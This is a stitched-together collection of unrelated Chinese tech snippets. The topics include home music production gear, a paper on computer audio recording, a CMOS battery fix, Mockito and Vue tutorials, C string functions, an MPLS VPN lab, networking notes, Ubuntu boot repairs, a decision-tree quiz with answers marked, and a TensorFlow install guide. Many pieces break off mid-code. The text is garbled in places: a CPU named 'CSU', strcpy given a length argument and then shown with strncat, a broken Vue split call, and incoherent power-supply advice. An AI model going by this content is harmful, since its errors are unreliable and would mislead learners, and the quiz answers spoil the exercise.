根据你的音乐目标不同,后两项将有可能是必要或不必要的.无论你是有理想的歌手、创作人、吉他手、钢琴手、说唱歌手等等,拥有这五大要素,就足够让你在短时间内编写和录制一首完整的歌了.下面我们来深入探究一下这五种东西,让我们来看看他们究竟在我们创作和制作的过程中都起到了什么作用,以及它们的重要性.
1. 电脑
电脑是所有这些设备的核心,所有的设备都是通过电脑连接在一起的,当然它更主要的作用是,操控所有其它的设备.专业的音频接口则需要在你开始创作和录音的时候再购买.在你的录音室里,"坐在电脑前",开始录制自己的音乐.电脑是所有硬件设备的中心,其它的设备都会围绕它进行运转.所以毫无疑问,无论是业余爱好者还是专业的音乐人,电脑都将是你的音乐之旅中最大的投资.
2. 音乐制作软件(DAW)
在这里我先简要地谈谈关于音乐制作软件,不过我们会在下一篇文章中看到详细地关于软件方面的介绍.现在你只需要知道,你需要一些音乐制作软件,而你的选择余地很大,从免费软件到上百美元的付费软件都有.
3. 一个音频接口
接下来是音频接口,有时也会被我们称作外置声卡.声卡的主要作用是可以为我们提供多种多样的音频输入和输出口.包括麦克风输入、音频线路输入(比如像专门为吉他、贝司等乐器设计的音频输入口)以及许多其它各种类型的输入口.输出接口包括耳机输出以及适合接各种音箱的输出口.另外,更重要的是,音频接口可以让你非常轻松地将输入的模拟音频信号转化为数字信号.通常这些数字信号的记录单位是比特率和频率.大家可以看到许多介绍这方面的文章,不过主要的概念就是:音频信号最开始是由像麦克风或吉他之类的乐器发出的模拟音频信号,然后通过电子脉冲,转化成数字信号.
所有的电脑都是通过1和0进行运算的.所以当我们将音频信号录入电脑时,模拟信号就会转换成都是0和1的数字信号,这样电脑才可以进行运算.一旦创建出数字音频信号文件,你就可以用音乐制作软件来对它们进行编辑和操控. (当你要选择一款音频接口时,你需要考虑到你自己的用途,你需要哪种录制方式.比如,如果你是一个歌手,你可能需要录制人声和吉他,那么你就应该选择带有两种接口的音频接口.一接口用来接受麦克风信号,另外一个则用于吉他输入.)
模拟信号和数字信号的相互转换,会完好或有一定损失地记录你的录音.当数字信号转换回模拟音频信号,输出到你的音箱时,它也应该完全真实地再现原本的声音.
4. 监听音箱或耳机
选购一对监听音箱或耳机.这些能够让你聆听作品的设备,主要用于混音和编排你的音乐.
当你开始使用音频接口时,你要明白,它就变成了你电脑的主要音频设备,代替了你电脑原本配置的声卡.在PC机上,如果你只需要音频接口进行音频输入的工作,那么还必须考虑到兼容性的问题.你需要尝试将音频输出手动设置到电脑自带的声卡上,因为Windows在技术上是支持使用两个不同的音频设备的.
这很重要,因为无论是笔记本上的内置扬声器,还是台式机的音频输出设备,在你使用外接音频接口的时候都可能会出现声音播放不出来的问题.Windows操作系统会将声音发送给电脑本身自带的声卡上,而如果没有扬声器或耳机接在电脑上,那么你将听不到任何声音.苹果的Mac系统支持使用多种音频设备,所以这对它来说不是什么大问题.
5. 麦克风或MIDI控制器
最后,根据你的音乐制作方向,你也许需要麦克风或MIDI控制器.如果你是一名歌手,你可能需要将你的人声演唱通过音频接口来录制.有许多不同价位、不同类型的麦克风可以选择.
在谈到麦克风时,你也许听过"动圈麦克风"和"电容麦克风"这两个词.动圈麦克风通常用于现场录音,你可以看到在舞台上一些歌手使用的手持式的麦克风基本上都是这种类型的.尽管它们也可以被用于录音室中,但是它并不能录出你所需要的那种良好的动态感.通常来说,人们会在录音室里选用电容麦克风.
这两种麦克风最根本的不同在于,电容麦克风的敏感度要高于动圈麦克风.你需要一个安静的录音室,来让麦克风捕捉你的人声细节.如果你想要录制钢琴,你可以用键盘接在音频接口上进行录制,或者用麦克风来对真实的钢琴进行外录.然后要录制钢琴的话,还有一种更灵活的方式,那就是使用MIDI控制器.MIDI的全称是"Musical Instrumental Digital Interface"(音乐乐器数字接口).
就像我们刚才谈到模拟信号和数字信号的互相转换那样,当我们说到电脑录音,那么MIDI就无处不在.简单地来说,我们要明白这样的概念:当你开始录制音频时,你的录音要非常的精准.如果你不喜欢刚才的录音或者刚才不小心录错了,那么你所能做的就是,要么对它进行编辑进行修饰,要么重新再录一遍. 而用MIDI录制的话,电脑所记录的并不是真实的音频文件.它记录的是你所要演奏的信息.当你进行演奏时,MIDI只录制你所演奏的音符,你按键的力度,你在这个音符上停留了多长时间,当然你还可以外接延音踏板来延长你要演奏的音符,以及等等许多你想要完美展现出来的演奏信息.
用MIDI的好处是,如果你的演奏出了错,你可以在事后轻松地进行编辑和修改.你甚至可以改变音符,改变你之前的演奏.
总结:这些核心装备:电脑、音乐制作软件、音频接口、监听音箱或耳机、麦克风或MIDI控制器,都需要你根据自己的实际需要去进行选购.希望这篇介绍能够让你明白,什么是你所需要的,能够让你更加自信地去追求自己的音乐梦想.
摘要:近年来,随着科技的不断发展,互联网时代的到来,计算机已经被各行各业所使用,同时也产生了重大的影响。当前,电脑在音频制作以及录音方面的应用也得到了广泛的重视,对音频制作与声音录制有着不可忽视的作用,并且在DTM工作室中的地位也日益提高。本文将对电脑音频的制作及录音进行有效的分析、探索,明确当前电脑的发展给音频的制作与录音所带来的一些影响,使得电脑在音频制作与录音方面得到更加正确地使用。
关键词:电脑音频 制作 录音
现阶段,随着计算机的广泛应用,电脑在音频制作与录音方面地位日益凸显。电脑在音频制作与录音方面,主要利用电脑将MIDI转换成数字音频信号,然后对其进行回声、合唱以及混响等一些效果,同时添加录制人与自然界的效果声音,将其制作成WAV文件。再根据所需要的文件形式,将WAV文件进行一定的转换,然后转换成所需要的文件。电脑在音频制作方面的应用,改变了以往应用硬件制作音频以及录音的现象,而是由软件对其进行编辑处理,使其更具专业性。还要注意的是,在进行声音录制的时候,要注意传声器的位置放置问题,传声器位置放置的是否科学,直接影响着录音的效果。
一、音频制作分析
音频制作主要应用电脑中的硬件与软件这两大部分:硬件主要包括电脑和音频卡;软件有很多,如Samplitude2496、Sound Forge、Cool Edit Pro等。只有软件与硬件进行一定的完美的结合与协调配合时,才能够制作出令人满意的音频作品。
(一)音频制作硬件的应用
当前,音频制作所应用的硬件主要有电脑以及音频卡,电脑和音频卡的应用完全打破了以往应用昂贵硬件设备制作音频的现象。伴随当前科技水平的不断发展,音频制作的成本已经不像以往的制作需要大量的成本投入,很多个人音乐工作室建立起来,并且以电脑为音乐室的工作中心。虽然当前的个人音乐工作室主要应用软件来进行音频制作,但硬件在工作室中也同样的重要。个人音乐工作室在制作音频的时候,要求电脑的配置要高一些,这样能够更加快速地对音频进行一定的处理,尤其对于一些比较特别的音频处理软件,它们会对电脑的配置的高低有些不同的要求。但并不是要求电脑要应用极高的配置,CSU在PIII以上就可以满足音频制作,而内存要在256M以上,硬盘越大越好。
(二)软件应用
电脑音频制作软件有很多,对于初学者而言,可以应用Cool Edit Pro 2.0进行音频制作,这款软件比较适合初学者的学习。Cool Edit Pro是一款多轨数字音频软件,它可以将声音录制、混音、编辑等集于一体,同时对其进行制作。在音频处理软件中,Cool Edit Pro有着丰富的音频处理手段,它可以对64轨的音频信号进行有效处理,它具有参数调节功能,同时也拥有专业动态处理能力,操作方便简单。
二、电脑录音分析
电脑录音,首先要考虑传声器选择方面的问题,如果条件允许的话,最好选择电容话筒,但是要将虚幻象供电问题充分的考虑进来。
其次,要充分考虑传声器的布置方法问题。针对于一般的录音都会使用一到两个话筒。如果是录制钢琴的时候,那么就要采用一定的方法进行录制。一种是将话筒放置在键盘中央,最好放在靠近音锤的地方,也可以将其放在弦的中央部位,或者放在钢琴后部的低音弦的位置。
在对木吉他进行录制的时候,要将传声器放在琴马后面,或者放置在与琴身连接的琴颈的上方,并要与琴孔对准。
在对小提琴进行录制的时候,要将话筒放置距离乐器数英尺高的位置,在靠近乐器的地方,与F孔对准,确保将声音全部的获得并释放出来。
在对双簧管、单簧管以及长笛进行录制的时候,要将传声器放置于指孔上面,以便获得更好的音效。
在对人的声音进行录制的时候,如果话筒与人的口是水平的状态,那么所获得声音就会充满力量,但是人的气声与喷音就会比较重一些;如果将话筒放在人口的上方,高音部分会被强调出来,高音就会很洪亮,得到想要的效果;如果话筒放在人口的下方,低音部分就会被强调出来,同样能得到低音部分的效果。
另外,话筒与演员的距离也影响着录音的效果。当话筒与演员的距离在1-5CM的时候,比较适合延演唱声音小的以及通俗歌曲的演唱者,这个距离的声音清晰度比较高,得到的音色也很纯。当话筒与演唱者的距离在5-10CM的时候,会令演唱者的吐字比较清晰,适合民族唱法的演唱者。当话筒与演唱者的距离达到10-20CM的时候,很适合美声唱法的演唱者,因为所传播出来的声音会比较丰满。
可见,在进行录音的时候,传声器的选用与传声器的放置位置对录音的音质有着十分重要的影响,为此,在用电脑进行音频制作与录音的时候,要高度的重视这一点。
三、结语
当前,伴随科技的不断发展,电脑已经被广泛地应用在音频制作方面与录音方面。从实际的发展看,电脑在音频制作与录音方面的应用已经取得了显著的成果,并且改变了以往的主要以昂贵硬件为主的制作方式,并且应用软件制作使音频与录音达到更好的效果。由于电脑音频制作是一项比较复杂的工作,在音频制作中,要进行仔细地思考与比较,恰当地运用电脑技术,通过反复的视听与调试,得到令人满意的高质量的音频作品。
基金项目:
本文为项目名称:剧场演出中计算机音乐技术应用研究,项目编号:14JD020。
参考文献:
[1]刘军.多媒体课件的声音元素[A].高教科研2006(中册:教学改革)[C].2006.
[2]王春明.电脑音频制作和音乐录音[J].现代教育技术,2004,(05).
[3]于巧.录音评价――让每个孩子拥有自己的“个人专辑”[J].中国音乐教育,2005,(03).
主板的故障千奇百怪,虽然大部分时候电脑无法正常启动是由主板硬件损坏所导致的,但也有相当多莫名其妙的故障情况是因为主板电池引起的。主板电池没电了会导致主板coms***BIOS***设置保存不了,电脑从而会出现各种故障。下面是小编给大家整理的一些有关电脑主机电池没电引起故障的处理方法,希望对大家有帮助!
电脑主机电池没电引起故障的处理方法
按下电源按钮,电脑没有任何反应,反复按下电源开关仍然无效。初步分析,很可能是电源部分出问题了,不是功率不够***劣质电源的“专利”***就是开关出现了短路,
状况1、无论怎么按下电源开关***插座接触良好并验证有电***电脑没反应。
状况2、电脑没有任何报警声,主板似乎根本没有加载到所需的电压,电源风扇也不动,电脑根本就无法通电。
处理方式:
打开机箱仔细查看主板与电源的连接处并没有什么异常,电源开关处是否有短路迹象,再次开机。检查是否可以从新启动。
上述方式不行的需要从新检查一遍,采用替换法:
一个250v的电源,换装后,如果电脑仍然没有反应;很可能是电源功率超标造成的,检查其他设备电源连通情况,尝试再次开机。
方法/步骤
检查电脑的电源风扇是否会转动起来,硬盘是否有自检声,显示器是否变亮,如果这时候电脑显示“CMOS Load Failure”。
系统提示按“F2”键继续启动,不管它,按“Del”进入BIOS设置。
按下F2键,让系统继续引导,如果还是无法进入Windows XP的桌面,再次重启。
按“Del”键进入BIOS设置,这时不需要输入密码,可以直接进入了,很显然CMOS电池没电了。
需要买了一块新的电池装进其中,并接上所有设备再次开机,电脑即可顺利启动。
目录
为什么需要使用mockito
mockito介绍
mockito使用demo
1.springboot使用mockito
2.mockito常用测试demo(官网链接)
为什么需要使用mockito 在实际项目中,当在编写单元测试时,往往遇到需要测试的类有许多依赖,而所依赖的类/对象/资源又有许多依赖,形成了一个非常复杂的依赖树。这时候就需要通过mock的方式虚拟化测试类的依赖,只测试测试类的功能。
mock依赖类1和依赖类2
mockito介绍 Mockito是用于写Java的单元测试框架,在单元测试中使用Mockito来创建和模拟(Mock)假的Java对象,进而简化外部的依赖。
mockito使用demo 1.springboot使用mockito 实体类:
package com.yantaibai.com.mockito.modal; import lombok.Data; @Data public class User { private String id; private String name; private int age; } Dao类:
package com.yantaibai.com.mockito.dao; import com.yantaibai.com.mockito.modal.User; import org.apache.ibatis.annotations.Mapper; import java.util.List; @Mapper public interface UserMapper { List<User> getUsers(); } 被测试类:
package com.yantaibai.com.mockito.service; import com.yantaibai.com.mockito.dao.UserMapper; import com.yantaibai.com.mockito.modal.User; import org.springframework.beans.factory.annotation.Autowired; import java.util.List; public class UserService implements IUserService { @Autowired UserMapper usermapper; public List<User> getUser() { return usermapper.
1.计算属性:首先它是一个属性,所以使用方式跟其他的属性没什么,就是定义的时候不同
2.定义计算属性:写法上是一个函数,这个函数的返回值就是计算属性最终的值
3.定义和使用的时候注意点:
1.计算属性必须定义在computed节点中
2.计算属性定义的时候必须是一个function,还必须有返回值,这个返回值就是计算属性最终的值
3.计算属性不能当作方法被调用,注意他是一个属性
计算属性的缓存问题:计算属性只要计算了一次,就会把结果缓存起来,以后多次使用计算属性,直接使用缓存的结果,只会计算一次,如果是计算属性依赖的属性发生改变,计算属性会重新计算一次,并且再次进行缓存
比如定义个翻转字符串案例 的计算属性(这个只能获取计算属性的值,不能设置计算属性的值)
computed:{
reverseMsg (){ //对象方法的简写
return this.msg.split(").reverse().join(")
}
或者
computed: {
total: function () {
// 把this.list中所有的价格加起来
let total = 0
this.list.forEach(item => total += +item.price)
return total
},
avg () {
return (this.total / this.list.length).toFixed(2)
}
},
使用计算属性 :<p>{{ reversMsg }} </p> 或者 <input v-model:"reverseMsg">
计算属性的完整写法:
1. 计算属性默认情况下只能获取,不能修改。
2. 计算属性的完整写法
computed: {
full() {},
full: {
get() {
return this.first + ' ' + this.
目录
1、gets函数
2、puts函数
3、strcat函数
4、strcpy函数(strncpy函数)
5、strcmp函数(strncmp函数)
6、strlen函数
7、strlwr函数
8、strupr函数
9、strstr函数
注意:在使用字符串处理函数时,一定要使用 #include <string.h> 开头
1、gets函数 其形式为:gets(字符数组)——输入字符串的函数
作用是从终端输入一个字符串到字符数组,并且得到一个函数值。
2、puts函数 其形式为:puts(字符数组)——输出字符串的函数
作用是将一个字符串(以‘\0’结束的字符序列)输出到终端。
3、strcat函数 其形式为:strcat(字符数组1,字符数组2)——字符串连接的函数
作用是把两个字符数组中的字符串连接起来,把字符串2连接到字符串1的后面,结果放在字符数组1中。
4、strcpy函数(strncpy函数) 其形式为:strcpy(字符数组1,字符串2)——字符串复制的函数
作用是将字符串2复制到字符数组1中去。
strcpy(字符数组1,字符串2,n)——字符串选择复制的函数
n:表示将字符串2中的n个单个字符复制到字符数组1中,最少为0个,最多不能超过字符串2的长度。作用与strcpy函数差不都,都是字符串复制函数。
大家可以自己试一试,源码
#include <stdio.h> #include <string.h> int main(){ char str1[10] =""; //定义空数组str1 char str2[10] = "kgtj";//定义数组str2 strncat(str1, str2, 1); printf("%s\n", str1); return 0; } 5、strcmp函数(strncmp函数) 其形式为:strcmp(字符数组1,字符串2)——字符串比较的函数
因为字符串不能用等号来比较大小,所以就用strcmp函数来比较!!!!!!
比较规则:
(1)如果全部字符相同,则认为两个字符串相等;
(2)若出现不相同的字符,则以第一对不相同的字符比较结果为准。('a'<'z';'A'<'Z')。
比较的结果由函数值带回:
(1)如果字符串1与字符串2相同,则函数值为0。
(2)如果字符串1 > 字符串2,则函数值返回一个正数。
(3)如果字符串1 < 字符串2,则函数值返回一个负数。
strncmp(字符数组1,字符串2,n)——字符串选择比较的函数
n:选择字符串的前n个字符进行比较,定义和strcmp一样。
(1)如果字符串1与选择的字符串2相同,则函数值为0。
(2)如果字符串1 > 选择的字符串2,则函数值返回一个正数。
一、介绍 传统的VPN一般是通过GRE、L2TP、PPTP、IPSec协议等隧道协议来实现私有网络间数据流在公网上的传送。而LSP本身就是公网上的隧道,所以用MPLS来实现VPN有天然的优势。
基于MPLS的VPN就是通过LSP将私有网络的不同分支联结起来,形成一个统一的网络。基于MPLS的VPN还支持对不同VPN间的互通控制。
CE:是用户边缘设备,可以是路由器,也可以是交换机或主机。
PE:是服务商边缘路由器,位于骨干网络。
在骨干网络中,还存在Provider,是服务提供商网络中的骨干路由器,不与CE直接相连。P设备只需要具备基本MPLS转发能力,可以将其配置为M-BGP的路由反射器,不维护VPN信息。
基于MPLS的VPN具有以下特点:
1、PE负责对VPN用户进行管理、建立各PE间LSP连接、同一VPN用户各分支间路由分派。
2、PE间的路由分派通常是用LDP或扩展的BGP协议实现。 3、支持不同分支间IP地址复用和不同VPN间互通。
4、减化了寻路步骤,提高了设备性能,加快了报文转发。
二、仿真软件 eNSP
三、仿真要求 1、AR1 与 AR5在同一 MPLS、VPN,能互通
2、AR6 与 AR7在同一 MPLS、VPN,能互通
3、AR2、 AR3、AR4形成环路,AR7可以访问这个环路
四、拓扑图 五、实验配置 (一)规划
AR2/3/4的环回均为x.x.x.x
AR1/5环回分别为192.168.1.1/192.168.4.1
AR6/7环回分别为192.168.1.2/192.168.4.2
AR7的公网分配地址为47.1.1.2
(二)配置思路
1、搭建实验,配置公网地址
3、在AR2/3/4上配置MPLS
4、在AR2/4上配置bgp
5、运用静态路由 AR2/4上重发布
6、AR2/6上开启RIP,AR4/7上开启OSPF
7、AR2/4上再进行重发布
(三)配置
AR1:
# interface GigabitEthernet0/0/0 ip address 192.168.2.1 255.255.255.0 # interface LoopBack0 ip address 192.168.1.1 255.255.255.0 # ip route-static 192.168.3.0 255.255.255.0 192.168.2.2 ip route-static 192.168.4.0 255.255.255.0 192.168.2.2 AR2:
# ip vpn-instance a ipv4-family route-distinguisher 1:1 vpn-target 1:1 export-extcommunity vpn-target 1:1 import-extcommunity # ip vpn-instance b ipv4-family route-distinguisher 2:2 vpn-target 2:2 export-extcommunity vpn-target 2:2 import-extcommunity # mpls lsr-id 2.
1.vue中的过滤器:是vue为开发者提供的功能,常用于文本的格式化
2.使用的地方:通过插值表达式 和 v-bind 属性绑定
3.过滤器通过 "管道符 ” | 进行调用
实例:
在插值表达式里面使用过滤器:《==通过过滤器对msg进行过滤,得到想要的文本格式
<p>{{ msg | 过滤器名字 }} </p>
在v-bind属性里面使用 :《== 通过过滤器对 title进行过滤 然后得到想要的文本格式
<div :title="title | 过滤器名"></div>
4.过滤器的定义分为:局部过滤器和全局过滤器
局部过滤器:组件私有的过滤器,可以在filters 节点中定义过滤器,该过滤器只能在当前组件中调用(在当前组件里面定义)
比如定义一个把字符串首字符转换成大写的局部过滤器
export default {
filters:{
upper(input){
return input.slice(0,1).toUpperCase()+input.slice(1)
} }}
全局过滤器:可以在多个vue组件之间共享过滤器,可以在main.js中通过Vue.filter()方法定义全局过滤器
比如把字符串首字母转换成大写的全局过滤器
main.js中
Vue.filter("upper",function(input){
return input.slice(0,1).toUpperCase()+input.slice(1)
})
定义一个全局过滤器:把数字保留两个小数
Vue.filter("tofix",(data)=>{
return parseFloat(data).toFixed(2)
})
调用多个过滤器:
<div >{{ msg |tofix |upper }}</div>
执行过程:把msg的值交给tofix过滤器进行处理,处理的值然后再交给upper过滤器进行处理,最终把upper处理的结果渲染到页面上
过滤器还可以进行传参:过滤处理参数的时候,第一个参数永远是第一个,其他的参数是额外接收的:
例如:
<p >{{ msg |fiterA(arg1,arg2) }} </p> 过滤器会接收三个参数,分别是 msg,arg1,arg2
3.1 概述和运输层服务 作用:为运行在不同主机上的应用进程之间提供了逻辑通信(logic communication)功能。在运输层的分组称为运输层报文段(segment), 3.1.1 运输层和网络层的关系 网络层提供了主机之间的逻辑通信。运输层为不同主机上的进程提供了逻辑通信。 3.1.2 因特网运输层概述 UDP(用户数据报协议):为应用程序提供了一种不可靠、无连接的服务。TCP(传输控制协议):为应用程序提供了一种可靠的、面向连接的服务。TCP还提供如下的附加服务: 可靠数据传输(relable data transfer):通过使用流量控制、序号、确认和定时器确保正确地、按序地将数据从发送进程交付给接收进程。拥塞控制(congestion-control):TCP力求为每个通过一条拥塞网络链路的连接平等地共享网络链路带宽,通过调节TCP连接发送端发送进网络流量速率来实现。 将主机交付扩展到进程间交付被称为运输层的多路复用(transport-layer multiplexing)与多路分解(demultiplexing)。 3.2 多路复用与多路分解 将运输层报文段中的数据交付到正确的套接字的工作称为多路分解(demultiplexing)。
在源主机从不同套接字中收集数据块,并为每个数据块封装上首部信息生成报文段,然后将报文段传递到网络的工作称为多路复用(multiplexing)。
为了实现上述功能,使用源端口号字段(source port number field)和目的端口字段(distination port number field)。
端口号是一个16比特的数,大小在0~65535之间。0~1023的端口号称为周知端口号(well-known port number),保留个HTTP和FTP等协议使用。 1.无连接的多路复用与多路分解 一个UDP套接字是由一个二元组来标识,包括一个目的IP地址和目的端口号。
2.面向连接的多路复用与多路分解 TCP套接字是由一个四元组(源IP地址、源端口号、目的IP地址、目的端口号)来标识的。这是因为TCP要保存连接状态。
3.Web服务器和TCP 没内容
3.3 无连接运输:UDP UDP(User Datagram Protocol) 只是做了运输协议能够做的最少工作。包括:
复用/分解功能少量的差错检测 UDP相比TCP的优点:
使用UDP的应用也可以实现可靠数据传输,通过应用层来实现,比如在应用程序中增加确认与重传机制等。速度更快。无需建立连接。不用进行拥塞控制。分组首部开销小,UDP近由8个字节,而TCP由20个字节的首部开销。 流行的因特网应用及其运输层协议
应用应用层协议下面的运输层协议电子邮件SMTPTCP远程终端访问TelnetTCPWebHTTPTCP文件传输FTPTCP远程文件服务器NFS通常UDP流式多媒体通常专用UDP或TCP因特网电话通常专用UDP或TCP网络管理SNMP通常UDP路由选择协议RIP通常UDP域名系统DNS通常UDP 3.3.1 UDP报文段结构 3.3.2 UDP检验和 UDP检验和,通过对UDP报文中的所有16比特字的和进行反码运算,注意在求和时,如果最高位有溢出要进行回卷(即将最高位溢出的结果加到最低位)。在接收方,对所有数据求和的结果将是1111111111111111(因为是数据和加上其反码)。如果有一个比特为0,标识数据出现差错。 3.4 可靠数据传输原理 可靠数据传输协议(rliable data transfer protocol)的责任是保证传输数据比特不会受到损坏或丢失,而且所有数据都是按照其发送顺序进行交付。用rdt表示可靠数据传输。用udp标识不可靠数据传输。 3.4.1 构造可靠传输协议 参考可靠传输协议…
1.经完全可靠信道的可靠数据传输:rdt 1.0 rdt的发送端通过rdt_send(data)事件来接受较高层的数据,产生一个包含该数据的分组packet(通过make_pkt(data)),并将该分组发送到信道上去。在接收端,rdt通过rdt_rcv(packet)事件从底层信道接收一个分组,并从分组中抽取收据(通过extract(packet,data)动作),并将数据上传给较高层(通过deliver_data(data))动作。由于信道完全可信,所以直接发送数据,而不需要任何反馈。 2.经具有比特差错信道的可靠数据传输:rdt 2.0 rdt2.0在rdt1.0的基础上解决了比特位翻转的问题底层信道实际上可能会在分组中出现比特受损。在计算机网络中,基于重传机制的可靠数据传输协议称为自动重传请求(Automatic Repeat reQuest,ARQ)协议。 ARQ还需要另外三种协议功能来处理比特差错:
1.报错/dev/sda2: clean。。。。 问题描述
先同时按下 Ctrl+Alt+F1 (F1~F6其中一个就可以)进入命令行模式。然后输入用户名,回车,输入密码,回车,成功进入到shell,根据上面提示的输入systemctl status systemd-modules-load.service查看问题细节。
原因:Ubuntu内核bug导致gdm3和nvidia驱动冲突,使得gdm3无法正常启动图形界面,而gdm不断尝试启动的后果就是屏幕的闪烁。(之前安装过nvidia-smi安装包,并且该命令在这台电脑上无法使用,这有可能是和gdm3造成冲突的根本原因。)
具体分析参考:https://blog.csdn.net/larry233/article/details/82467209
解决办法:`1、在当前界面中按Alt+F1 (F1~F6其中一个就可以) 键进入tty界面,进入界面后输入你的Ubuntu用户名和密码进入终端(Terminal)
2、在终端中输入以下命令
1)sudo apt-get remove --purge nvidia-* #卸载nvidia相关组件 2)sudo apt purge gdm gdm3 #卸载gdm和gdm3 3)sudo apt install gdm3 ubuntu-desktop #重新安装gdm3 4)systemctl restart gdm #重新启动gdm3服务 3、完成第 4)步后系统会自动进入桌面。
`
2.ubuntu启动报错/dev/sda4:UNEXPECTED INCONSISTENCY; RUN fsck MANUALLY 首先出现这类问题是由于虚拟机不正常关闭导致的,在系统停止界面命令行中使用fsck –y /dev/sda4后面的/dev/sda4是我系统提示出现错误地方,这个根据自己系统提示自行修改,之后系统修复完成,重启一下即可。
决策树说通俗点就是一棵能够替我们做决策的树,或者说是我们人类在要做决策时脑回路的一种表现形式。
本实训项目的主要内容是基于 python 语言搭建出决策树模型对数据分类,并使用 sklearn 的决策时模型对鸢尾花数据进行分类。
第1关:什么是决策树 任务描述相关知识 引例决策树的相关概念编程要求测试说明 任务描述 本关任务:根据本节课所学知识完成本关所设置的选择题。
相关知识 为了完成本关任务,你需要掌握决策树的相关基础知识。
引例 在炎热的夏天,没有什么比冰镇后的西瓜更能令人感到心旷神怡的了。现在我要去水果店买西瓜,但什么样的西瓜能入我法眼呢?那根据我的个人习惯,在挑西瓜时可能就有这样的脑回路。
假设现在水果店里有3个西瓜,它们的属性如下:
编号瓤是否够红够不够冰是否便宜是否有籽1是否是否2是是否是3否是是否 那么根据我的脑回路我会买1和2号西瓜。
其实我的脑回路可以看成一棵树,并且这棵树能够帮助我对买不买西瓜这件事做决策,所以它就是一棵决策树。
决策树的相关概念 决策树是一种可以用于分类与回归的机器学习算法,但主要用于分类。用于分类的决策树是一种描述对实例进行分类的树形结构。决策树由结点和边组成,其中结点分为内部结点和叶子结点,内部结点表示一个特征或者属性,叶子结点表示标签(脑回路图中黄色的是内部结点,蓝色的是叶子结点)。
从代码角度来看,决策树其实可以看成是一堆if-else语句的集合,例如引例中的决策树完全可以看成是如下代码:
if isRed: if isCold: if hasSeed: print("buy") else: print("don't buy") else: if isCheap: print("buy") else: print("don't buy")else: print("don't buy") 因此决策树的一个非常大的优势就是模型的可理解性非常高,甚至可以用来挖掘数据中比较重要的信息。
那么如何构造出一棵好的决策树呢?其实构造决策树时会遵循一个指标,有的是按照信息增益来构建,如ID3算法;有的是信息增益率来构建,如C4.5算法;有的是按照基尼系数来构建的,如CART算法。但不管是使用哪种构建算法,决策树的构建过程通常都是一个递归选择最优特征,并根据特征对训练集进行分割,使得对各个子数据集有一个最好的分类的过程。
这一过程对应着对特征空间的划分,也对应着决策树的构建。一开始,构建决策树的根结点,将所有训练数据都放在根结点。选择一个最优特征,并按照这一特征将训练数据集分割成子集,使得各个子集有一个在当前条件下最好的分类。如果这些子集已经能够被基本正确分类,那么构建叶子结点,并将这些子集分到所对应的叶结点中去;如果还有子集不能被基本正确分类,那么就对这些子集选择新的最优特征,继续对其进行分割,并构建相应的结点。如此递归进行下去,直至所有训练数据子集被基本正确分类,或者没有合适的特征为止。最后每个子集都被分到叶子结点上,即都有了明确的类别。这就构建出了一棵决策树。
编程要求 根据本关所学习到的知识,完成所有选择题。
测试说明 平台会对你的选项进行判断,如果实际输出结果与预期结果相同,则通关;反之,则 GameOver。
开始你的任务吧,祝你成功!
1、下列说法正确的是?(AB)
A、 训练决策树的过程就是构建决策树的过程
B、 ID3算法是根据信息增益来构建决策树
C、 C4.5算法是根据基尼系数来构建决策树
D、 决策树模型的可理解性不高
2、下列说法错误的是?(B)
A、 从树的根节点开始,根据特征的值一步一步走到叶子节点的过程是决策树做决策的过程
B、 决策树只能是一棵二叉树
C、 根节点所代表的特征是最优特征
第2关:信息熵与信息增益 任务描述相关知识 信息熵条件熵信息增益编程要求测试说明 任务描述 本关任务:掌握什么是信息增益,完成计算信息增益的程序设计。
Anconda3下Tensorflow 2.0 GPU 环境极简安装及测试方法 文章目录 Anconda3下Tensorflow 2.0 GPU 环境极简安装及测试方法 前言一、安装条件二、搭建步骤1.安装tensorflow2.0-gpu2.安装cuDNN和cudatoolkit 测试 前言 科研需要,想搭建Tensorflow2.0-gpu环境,查阅了网上资料,也进了很多坑,最后给大家分享一种极简的方法,希望能对大家有所帮助。
一、安装条件 1.确认电脑上GPU是否支持CUDA,及其驱动版本。
提前安装好CUDA10.0,可参考该教程:CUDA10.0安装
2.安装好Anconda3 :Anconda3安装包网盘链接 提取密码:1jon
二、搭建步骤 1.安装tensorflow2.0-gpu 打开Anconda Prompt
先通过以下命令创建tensorflow2.0-gpu环境:
conda create -n tf2.0-gpu pip python=3.6 再输入conda 命令查看已有环境:
可以看到tf2.0-gpu环境已经创建成功,接下来输入以下conda命令激活该环境:
conda activate tf2.0-gpu 结果如图:
可以看到已经进入了tf2.0-gpu环境。
接着输入以下命令使用清华源快速安装tensorflow2.0-gpu :
pip install tensorflow-gpu==2.0.0 -i https://pypi.tuna.tsinghua.edu.cn/simple 2.安装cuDNN和cudatoolkit 安装完tensorflow后需安装依赖环境,不同型号的Tensorflow必须严格安装对应版本的cuDNN和CUDA,不然无法运行。以下是tensoflow gpu各型号的环境依赖图:
代码如下:
conda install cudatoolkit=10.0 cudnn 到这里,tensorflow2.0 gpu 环境就安装好了。
测试 1.进入python:
2.输入以下代码测试:
import tensorflow as tf import os os.environ['TF_CPP_MIN_LOG_LEVEL']='2' a = tf.constant(1.) b = tf.
例9003 火星上的加法 Time Limit: 1000/1000MS (C++/Others) Memory Limit: 65536/65536KB (C++/Others)
Total Submissions: 49 Accepted Submissions: 38
Problem Description
22世纪,科学家们发现火星上的居民智能很高。火星人热爱算术。每年他们都要举行火星算术比赛简称ACM。比赛的任务是计算两个100位数的和,用时最少者获胜。今年他们也邀请地球人参加此项赛事。
作为地球人的唯一代表,你被送到火星上向他们展示人类的智慧。幸运的是,你带上了笔记本电脑,这将帮助你快速完成这项任务。现在唯一的问题就是编程计算两个100位数的和。需要注意的是,火星人用的是20进制,因为他们有20个手指。
Input
给定你多对火星数,每个数占一行。火星数包括09,以及小写字母aj,小写字母分别代表十进制中的10~19。每个数位数不超过100位。
Output
输出每对数的和,每个和占一行。
Sample Input
1234567890
abcdefghij
99999jjjjj
9999900001
Sample Output
bdfi02467j
iiiij00000
#include <stdio.h> #include <string.h> int main() { char num1[110],num2[110]; char res[110]; int temp; int len1,len2; while(~scanf("%s%s",num1,num2)) { len1 = strlen(num1)-1; len2 = strlen(num2)-1; if(len1==len2) { int j = 0; for(int i = len1;i>=0;i--) { temp = (num1[i]<'a' ?
每个电脑用户名都会放一个文件夹,这样我们才知道这些文件属于哪个用户的,不过有的用户可能想要修改用户文件夹名字,应该有许多用户不知道怎么修改,那么win10修改用用户文件夹名字怎么操作?下面我们就一起来看看win10更改用户文件夹名称方法。
win10修改用户文件夹名称方法:
1、查看登录用户首先确认自己的登录账号,点击开始菜单的 账号。
2、修改用户名打开我的电脑,或计算机右击“管理”。
